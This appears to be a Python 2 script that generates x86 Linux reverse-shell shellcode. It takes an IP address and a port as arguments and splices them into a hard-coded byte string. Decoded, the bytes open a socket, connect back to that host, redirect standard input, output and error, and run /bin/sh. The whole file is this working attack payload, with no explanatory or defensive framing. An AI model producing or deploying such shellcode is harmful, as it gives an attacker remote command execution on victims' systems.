#!/usr/bin/python

import socket
import sys
import struct

ip = socket.inet_aton(sys.argv[1])
port = int(sys.argv[2])

ip = ip.encode('hex')
ip = "\\x" + ip[0:2] + "\\x" + ip[2:4] + "\\x" + ip[4:6] + "\\x" + ip[6:8]

port = format(port, '04x')
port = "\\x" + str(port[0:2]) + "\\x" + str(port[2:4])

sc = \
"\\x6a\\x66\\x58\\x99\\x31\\xdb\\x43\\x52\\x6a\\x01\\x6a\\x02\\x89\\xe1\\xcd\\x80\\x96\\x6a\\x66\\x58\\x43\\x68"+ip+"\\x66\\x68"+port+"\\x66\\x53\\x43\\x89\\xe1\\x6a\\x10\\x51\\x56\\x89\\xe1\\xcd\\x80\\x6a\\x02\\x59\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\xb0\\x0b\\x99\\x31\\xc9\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\xcd\\x80"

print "Shellcode:"
print sc

